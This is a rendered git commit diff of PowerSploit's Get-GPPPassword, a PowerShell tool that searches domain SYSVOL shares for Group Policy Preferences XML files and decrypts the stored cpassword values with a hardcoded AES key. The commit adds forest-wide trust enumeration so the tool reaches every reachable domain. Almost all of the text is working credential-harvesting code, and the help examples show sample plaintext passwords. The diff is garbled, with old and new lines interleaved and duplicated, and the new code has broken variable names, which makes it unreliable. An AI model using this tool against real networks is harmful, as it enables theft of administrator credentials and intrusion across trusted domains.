Fix for issue #170
Added -SearchForest to search all reachable domain trust \SYSVOL\'s Each password is now output as a separate object.
This commit is contained in:
HarmJ0y
parent
94438eda67
commit
5500a7e131
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@ -2,246 +2,342 @@ function Get-GPPPassword {
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<#
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.SYNOPSIS
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Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
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Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
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PowerSploit Function: Get-GPPPassword
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Author: Chris Campbell (@obscuresec)
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License: BSD 3-Clause
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Required Dependencies: None
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Optional Dependencies: None
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PowerSploit Function: Get-GPPPassword
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Author: Chris Campbell (@obscuresec)
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License: BSD 3-Clause
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Required Dependencies: None
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Optional Dependencies: None
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.DESCRIPTION
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Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
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Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
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.PARAMETER Server
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Specify the domain controller to search for.
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Default's to the users current domain
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Specify the domain controller to search for.
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Default's to the users current domain
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.PARAMETER SearchForest
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Map all reaschable trusts and search all reachable SYSVOLs.
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.EXAMPLE
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PS C:\> Get-GPPPassword
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NewName : [BLANK]
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Changed : {2014-02-21 05:28:53}
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Passwords : {password12}
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UserNames : {test1}
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File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml
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Get-GPPPassword
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NewName : {mspresenters}
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Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
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Passwords : {Recycling*3ftw!, password123, password1234}
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UserNames : {Administrator (built-in), DummyAccount, dummy2}
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File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
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NewName : [BLANK]
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Changed : {2014-02-21 05:28:53}
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Passwords : {password12}
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UserNames : {test1}
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File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml
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NewName : [BLANK]
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Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
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Passwords : {password, password1234$}
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UserNames : {administrator, admin}
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File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml
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NewName : {mspresenters}
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Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
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Passwords : {Recycling*3ftw!, password123, password1234}
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UserNames : {Administrator (built-in), DummyAccount, dummy2}
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File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
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NewName : [BLANK]
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Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
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Passwords : {password, read123}
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UserNames : {DEMO\Administrator, admin}
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File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml
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NewName : [BLANK]
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Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
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Passwords : {password, password1234$}
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UserNames : {administrator, admin}
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File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml
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.EXAMPLE
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PS C:\> Get-GPPPassword -Server EXAMPLE.COM
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NewName : [BLANK]
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Changed : {2014-02-21 05:28:53}
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Passwords : {password12}
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UserNames : {test1}
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File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml
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NewName : {mspresenters}
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Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
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Passwords : {Recycling*3ftw!, password123, password1234}
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UserNames : {Administrator (built-in), DummyAccount, dummy2}
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File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml
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NewName : [BLANK]
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Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
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Passwords : {password, read123}
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UserNames : {DEMO\Administrator, admin}
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File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml
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.EXAMPLE
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PS C:\> Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
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password
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password12
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password123
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password1234
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password1234$
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read123
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Recycling*3ftw!
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Get-GPPPassword -Server EXAMPLE.COM
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NewName : [BLANK]
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Changed : {2014-02-21 05:28:53}
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Passwords : {password12}
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UserNames : {test1}
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File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml
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NewName : {mspresenters}
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Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
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Passwords : {Recycling*3ftw!, password123, password1234}
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UserNames : {Administrator (built-in), DummyAccount, dummy2}
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File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml
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.EXAMPLE
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Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
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password
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password12
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password123
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password1234
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password1234$
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read123
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Recycling*3ftw!
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.LINK
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http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
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https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
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http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
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http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
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http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
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https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
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http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
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http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
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#>
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[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
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[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
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[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
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[CmdletBinding()]
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Param (
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[ValidateNotNullOrEmpty()]
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[String]
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$Server = $Env:USERDNSDOMAIN
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[ValidateNotNullOrEmpty()]
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[String]
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$Server = $Env:USERDNSDOMAIN,
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[Switch]
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$SearchForest
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)
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#Some XML issues between versions
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Set-StrictMode -Version 2
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#define helper function that decodes and decrypts password
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# define helper function that decodes and decrypts password
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function Get-DecryptedCpassword {
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[CmdletBinding()]
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Param (
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[string] $Cpassword
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[string] $Cpassword
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)
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try {
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#Append appropriate padding based on string length
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#Append appropriate padding based on string length
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$Mod = ($Cpassword.length % 4)
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switch ($Mod) {
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'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
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'2' {$Cpassword += ('=' * (4 - $Mod))}
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'3' {$Cpassword += ('=' * (4 - $Mod))}
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'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
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'2' {$Cpassword += ('=' * (4 - $Mod))}
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'3' {$Cpassword += ('=' * (4 - $Mod))}
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}
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$Base64Decoded = [Convert]::FromBase64String($Cpassword)
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#Create a new AES .NET Crypto Object
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$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
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[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
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0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
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#Set IV to all nulls to prevent dynamic generation of IV value
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$AesIV = New-Object Byte[]($AesObject.IV.Length)
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$AesIV = New-Object Byte[]($AesObject.IV.Length)
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$AesObject.IV = $AesIV
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$AesObject.Key = $AesKey
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$DecryptorObject = $AesObject.CreateDecryptor()
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$DecryptorObject = $AesObject.CreateDecryptor()
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[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
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return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
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}
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catch {Write-Error $Error[0]}
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}
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#define helper function to parse fields from xml files
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function Get-GPPInnerFields {
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}
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catch { Write-Error $Error[0] }
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}
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# helper function to parse fields from xml files
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function Get-GPPInnerField {
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[CmdletBinding()]
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Param (
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$File
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)
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try {
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$Filename = Split-Path $File -Leaf
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[xml] $Xml = Get-Content ($File)
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#declare empty arrays
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$Cpassword = @()
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$UserName = @()
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$NewName = @()
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$Changed = @()
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$Password = @()
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#check for password field
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if ($Xml.innerxml -like "*cpassword*"){
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Write-Verbose "Potential password in $File"
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switch ($Filename) {
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# check for the cpassword field
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if ($Xml.innerxml -match 'cpassword') {
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'Groups.xml' {
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$Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
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$UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
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$NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
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$Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
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}
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'Services.xml' {
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$Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
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$UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
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$Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
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}
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'Scheduledtasks.xml' {
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$Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
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$UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
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$Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
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}
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'DataSources.xml' {
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$Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
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$UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
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$Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
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}
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'Printers.xml' {
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$Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
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$UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
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$Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
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}
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'Drives.xml' {
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$Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
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$UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
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$Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
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$Xml.GetElementsByTagName('Properties') | ForEach-Object {
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if ($_.cpassword) {
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$Cpassword = $_.cpassword
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if ($Cpassword -and ($Cpassword -ne '')) {
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$DecryptedPassword = Get-DecryptedCpassword $Cpassword
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$Password = $DecryptedPassword
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Write-Verbose "[Get-GPPInnerField] Decrypted password in '$File'"
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}
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if ($_.newName) {
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$NewName = $_.newName
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}
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if ($_.userName) {
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$UserName = $_.userName
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}
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elseif ($_.accountName) {
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$UserName = $_.accountName
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}
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elseif ($_.runAs) {
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$UserName = $_.runAs
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}
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try {
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$Changed = $_.ParentNode.changed
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}
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catch {
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Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.changed for '$File'"
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}
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try {
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$NodeName = $_.ParentNode.ParentNode.LocalName
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}
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catch {
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Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.ParentNode.LocalName for '$File'"
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}
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if (!($Password)) {$Password = '[BLANK]'}
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if (!($UserName)) {$UserName = '[BLANK]'}
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if (!($Changed)) {$Changed = '[BLANK]'}
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if (!($NewName)) {$NewName = '[BLANK]'}
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$GPPPassword = New-Object PSObject
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$GPPPassword | Add-Member Noteproperty 'UserName' $UserName
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$GPPPassword | Add-Member Noteproperty 'NewName' $NewName
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$GPPPassword | Add-Member Noteproperty 'Password' $Password
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$GPPPassword | Add-Member Noteproperty 'Changed' $Changed
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$GPPPassword | Add-Member Noteproperty 'File' $File
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$GPPPassword | Add-Member Noteproperty 'NodeName' $NodeName
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$GPPPassword | Add-Member Noteproperty 'Cpassword' $Cpassword
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$GPPPassword
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}
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}
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}
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foreach ($Pass in $Cpassword) {
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Write-Verbose "Decrypting $Pass"
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$DecryptedPassword = Get-DecryptedCpassword $Pass
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Write-Verbose "Decrypted a password of $DecryptedPassword"
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#append any new passwords to array
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$Password += , $DecryptedPassword
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}
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#put [BLANK] in variables
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if (!($Password)) {$Password = '[BLANK]'}
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if (!($UserName)) {$UserName = '[BLANK]'}
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if (!($Changed)) {$Changed = '[BLANK]'}
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if (!($NewName)) {$NewName = '[BLANK]'}
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#Create custom object to output results
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$ObjectProperties = @{'Passwords' = $Password;
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'UserNames' = $UserName;
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'Changed' = $Changed;
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'NewName' = $NewName;
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'File' = $File}
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$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
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Write-Verbose "The password is between {} and may be more than one value."
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if ($ResultsObject) {Return $ResultsObject}
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}
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}
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catch {
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Write-Warning "[Get-GPPInnerField] Error parsing file '$File' : $_"
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}
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}
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# helper function (adapted from PowerView) to enumerate the domain/forest trusts for a specified domain
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function Get-DomainTrust {
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[CmdletBinding()]
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Param (
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$Domain
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)
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if (Test-Connection -Count 1 -Quiet -ComputerName $Domain) {
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try {
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$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
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$DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
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if ($DomainObject) {
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$DomainObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
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}
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}
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catch {
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Write-Verbose "[Get-DomainTrust] Error contacting domain '$Domain' : $_"
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}
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try {
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$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Domain)
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$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
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if ($ForestObject) {
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$ForestObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
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}
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}
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catch {
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Write-Verbose "[Get-DomainTrust] Error contacting forest '$Domain' (domain may not be a forest object) : $_"
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}
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}
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}
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||||
|
||||
# helper function (adapted from PowerView) to enumerate all reachable trusts from the current domain
|
||||
function Get-DomainTrustMapping {
|
||||
[CmdletBinding()]
|
||||
Param ()
|
||||
|
||||
# keep track of domains seen so we don't hit infinite recursion
|
||||
$SeenDomains = @{}
|
||||
|
||||
# our domain stack tracker
|
||||
$Domains = New-Object System.Collections.Stack
|
||||
|
||||
try {
|
||||
$CurrentDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
|
||||
$CurrentDomain
|
||||
}
|
||||
catch {
|
||||
Write-Warning "[Get-DomainTrustMapping] Error enumerating current domain: $_"
|
||||
}
|
||||
|
||||
catch {Write-Error $Error[0]}
|
||||
if ($CurrentDomain -and $CurrentDomain -ne '') {
|
||||
$Domains.Push($CurrentDomain)
|
||||
|
||||
while($Domains.Count -ne 0) {
|
||||
|
||||
$Domain = $Domains.Pop()
|
||||
|
||||
# if we haven't seen this domain before
|
||||
if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) {
|
||||
|
||||
Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'"
|
||||
|
||||
# mark it as seen in our list
|
||||
$Null = $SeenDomains.Add($Domain, '')
|
||||
|
||||
try {
|
||||
# get all the domain/forest trusts for this domain
|
||||
Get-DomainTrust -Domain $Domain | Sort-Object -Unique | ForEach-Object {
|
||||
# only output if we haven't already seen this domain and if it's pingable
|
||||
if (-not $SeenDomains.ContainsKey($_) -and (Test-Connection -Count 1 -Quiet -ComputerName $_)) {
|
||||
$Null = $Domains.Push($_)
|
||||
$_
|
||||
}
|
||||
}
|
||||
}
|
||||
catch {
|
||||
Write-Verbose "[Get-DomainTrustMapping] Error: $_"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
try {
|
||||
#ensure that machine is domain joined and script is running as a domain account
|
||||
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
|
||||
throw 'Machine is not a domain member or User is not a member of the domain.'
|
||||
$XMlFiles = @()
|
||||
$Domains = @()
|
||||
|
||||
# discover any locally cached GPP .xml files
|
||||
Write-Verbose '[Get-GPPPassword] Searching local host for any cached GPP files'
|
||||
$MlFiles += Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue
|
||||
|
||||
if ($SearchForest) {
|
||||
Write-Verbose '[Get-GPPPassword] Searching for all reachable trusts'
|
||||
$Domains += Get-DomainTrustMapping
|
||||
}
|
||||
else {
|
||||
if ($Server) {
|
||||
$Domains += , $Server
|
||||
}
|
||||
else {
|
||||
# in case we're in a SYSTEM context
|
||||
$Domains += , [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
|
||||
}
|
||||
}
|
||||
|
||||
#discover potential files containing passwords ; not complaining in case of denied access to a directory
|
||||
Write-Verbose "Searching \\$Server\SYSVOL. This could take a while."
|
||||
$XMlFiles = Get-ChildItem -Path "\\$Server\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
|
||||
|
||||
if ( -not $XMlFiles ) {throw 'No preference files found.'}
|
||||
$Domains = $Domains | Where-Object {$_} | Sort-Object -Unique
|
||||
|
||||
Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
|
||||
|
||||
foreach ($File in $XMLFiles) {
|
||||
$Result = (Get-GppInnerFields $File.Fullname)
|
||||
Write-Output $Result
|
||||
ForEach ($Domain in $Domains) {
|
||||
# discover potential domain GPP files containing passwords, not complaining in case of denied access to a directory
|
||||
Write-Verbose "[Get-GPPPassword] Searching \\$Domain\SYSVOL\*\Policies. This could take a while."
|
||||
$DomainXMLFiles = Get-ChildItem -Force -Path "\\$Domain\SYSVOL\*\Policies" -Recurse -ErrorAction SilentlyContinue -Include @('Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml')
|
||||
|
||||
if($DomainXMLFiles) {
|
||||
$XMlFiles += $DomainXMLFiles
|
||||
}
|
||||
}
|
||||
|
||||
if ( -not $XMlFiles ) { throw '[Get-GPPPassword] No preference files found.' }
|
||||
|
||||
Write-Verbose "[Get-GPPPassword] Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
|
||||
|
||||
ForEach ($File in $XMLFiles) {
|
||||
$Result = (Get-GppInnerField $File.Fullname)
|
||||
$Result
|
||||
}
|
||||
}
|
||||
|
||||
catch {Write-Error $Error[0]}
|
||||
}
|
||||
catch { Write-Error $Error[0] }
|
||||
}
|
||||
Loading…
Reference in New Issue